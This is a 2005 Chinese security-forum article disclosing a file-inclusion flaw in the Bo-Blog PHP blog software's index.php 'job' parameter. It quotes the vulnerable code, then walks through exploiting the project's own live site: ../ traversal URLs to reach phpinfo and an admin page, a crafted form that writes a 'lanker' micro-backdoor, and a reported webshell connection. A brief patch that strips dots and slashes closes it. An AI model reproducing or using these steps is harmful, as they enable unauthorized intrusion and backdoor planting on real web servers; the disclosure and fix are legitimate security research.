首页 网络安全 安全学院 查看内容

bo-blog index.php include任意php文件漏洞

2005-6-16 02:02 1578 0

摘要: 文章作者:我非我[F.S.T]漏洞发现日期:2005.6.13漏洞涉及版本:Bo-Blog Version <= 1.7.0108(未打补丁前)漏洞分析及利用:  刚发现bo-blog...
关键词: nbsp 分割线 job 可爱 漏洞 成功 php 后门 词语 Blog

文章作者:我非我[F.S.T]漏洞发现日期:2005.6.13漏洞涉及版本:Bo-Blog Version <= 1.7.0108(未打补丁前)漏洞分析及利用:  刚发现bo-blog的一个致命的漏洞。我是看1.7.0095版本的。不过估计最新的也有这个漏洞.在index.php中的job变量没有过滤.导致用户可以任意include一个php文件.index.php ----------------------可爱的分割线-----------------------------[codz begin]33   if (empty($job)) $job="listall";34   if ($job=="main") $job="listall";178 if (!file_exists("include/$job.php")) $job="listall"; 179 include ("include/$job.php"); //未加过滤,只是判断是否有这个$job.php文件,然后就include了.[codz end]----------------------可爱的分割线-----------------------------  我们可以通过这个$job变量include任何一个有php扩展名的文件,只要他在服务器上存在(我们可以通过../来绕过目录).其实他的admin_cp.php文件中一样有这个问题.只不过要调用admin_cp.php文件是要权限的.所以我们就只能用index.php进行利用了.  现在我们开始测试,www.bo-blog.com这是他的主站。我们先来看看他的php设置.输入:http://www.bo-blog.com/index.php?job=../admin/change&action=phpinfo  这个action是传递给admin/change.php的,作用是这个文件可以显示phpinfo.不用担心不能调用.index.php是include了global.php的,定义了inwork.所以可以使用change.php而甚至不用登陆  得到了一些基本信息:Windows NT NS 5.2 build 3790 服务器是php5的,safe_mode=On.   再来正式利用拿他的webshell。在http://www.bo-blog.com/index.php?job=../admin/ban这里,本来是给admin在后台设置禁止ip\语言等的.但是同样没有过滤,导致我们可以直接写入一个shell。但是我们必须自己构造一个表单,先看他的原文件,我们用他还没用过的那个bansearch(禁止搜索词汇)。----------------------可爱的分割线-----------------------------[codz begin]     <table cellpadding=0 cellspacing=0 align=center width='95%' bgcolor='#000000'>     <tr><td>     <table cellpadding=5 cellspacing=1 width='100%'><form action=admin_cp.php?job=ban method=post>     <tr bgcolor='#E9F2FC'><td colspan=2><font color="#000000">禁止发布的词汇,每个词语用半角 , (逗号)隔开</font></td></tr>     <tr bgcolor='#FFFFFF'><td width=20%>敏感词语:</td><td><textarea name="sensitive" rows=15 cols=80></textarea></td></tr><input type=hidden name=action value=savesensitive>     <tr bgcolor='#FFFFFF'><td colspan=2>输入禁止的词语,大小写忽略</td></tr>     <tr bgcolor='#FFFFFF'><td colspan=2 align=center><input type=submit value=提交> <input type='reset' value=复原>     </td></tr></form>     </table>[codz end]----------------------可爱的分割线-----------------------------  我们把他另存为一个html文件.注意.要把form栏里的action=admin_cp.php?job=ban改为action=http://www.bo-blog.com/blog/index.php?job=../admin/ban才行.保存好.然后打开这个html.  在表单的htmlarea里,我们写个lanker的微型后门进去。点击保存.(这里注意,不要有' " \等特殊字符.会被php自动加上\的.)  系统提示:----------------------可爱的分割线-----------------------------  更新成功   保存了禁止搜索词。----------------------可爱的分割线-----------------------------   成功了,呵呵.  来.我们用lanker后门的客户端来连接试试.看到我们可爱的shell了吗?说明什么?说明成功啦~~漏洞简单修补:  在index.php中178 if (!file_exists("include/$job.php")) $job="listall"; 这一行前加上以下代码:  $job = str_replace(".","",$job);  $job = str_replace("/","",$job);
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部